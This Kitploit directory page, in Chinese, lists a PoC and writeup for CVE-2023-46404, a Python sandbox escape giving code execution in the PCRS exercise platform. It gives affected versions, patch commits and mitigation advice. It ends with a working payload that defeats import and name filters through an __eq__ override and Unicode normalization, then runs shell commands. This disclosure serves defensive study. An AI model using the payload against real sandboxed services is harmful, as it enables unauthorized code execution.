Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-46404 — CVE-2023-46404 的 PoC 和 Writeup | Kitploit
工具/GitHubGitHub/windecks/cve-2023-46404
漏洞分析代码分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育
GitHubwindecks/cve-2023-46404

CVE-2023-46404

CVE-2023-46404 的 PoC 和 Writeup

查看仓库
32年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-46404

PCRS 是由多伦多大学开发的用于在线编程练习的 Web 应用。 参见 Bitbucket 仓库: https://bitbucket.org/utmandrew/pcrs/src/3.11/

摘要

PCRS 的“问题”(Questions)页面(包含代码提交功能)和“代码编辑器”(Code editor)页面存在通过逃逸 Python 沙箱实现远程代码执行(RCE)的漏洞。

详情

在 PCRS 实例中,可通过使用生成器对象实现远程代码执行。通过使用生成器帧(gi_frame)和 f_back,脚本可以穿越沙箱栈帧,在非沙箱环境中执行恶意代码。此外,Unicode 规范化可以轻松绕过基本输入过滤。任何具有最低权限的已认证用户都可以执行此攻击。更多详情请参见 PoC。

已知受影响版本

  • PCRS <= 3.11 d0de1e(支持 Python 执行)。
  • 补丁已在 9326ad3 中实现,并在 fbaedd3 中进行了部分缓解。

缓解措施

从头构建安全的隔离机制容易产生疏忽和漏洞。一如既往,对执行环境进行沙箱化比对语言进行沙箱化更好。

补充

在受限环境中,可以重写 __eq__:

root@kitploit:~
def f():
    mod_name = "os"
    fake_name = "json"
    os = __import__(type("s", (str,), {"__eq__": lambda x, y: y == fake_name or y == mod_name, "__hash__": lambda x: hash(mod_name)})(mod_name))
    os.system("id > /tmp/test.txt")
    s = ᵒpen("/tmp/test.txt").read() # unicode normalization of the "open" function
    os.system("rm /tmp/test.txt")
    return s
下载工具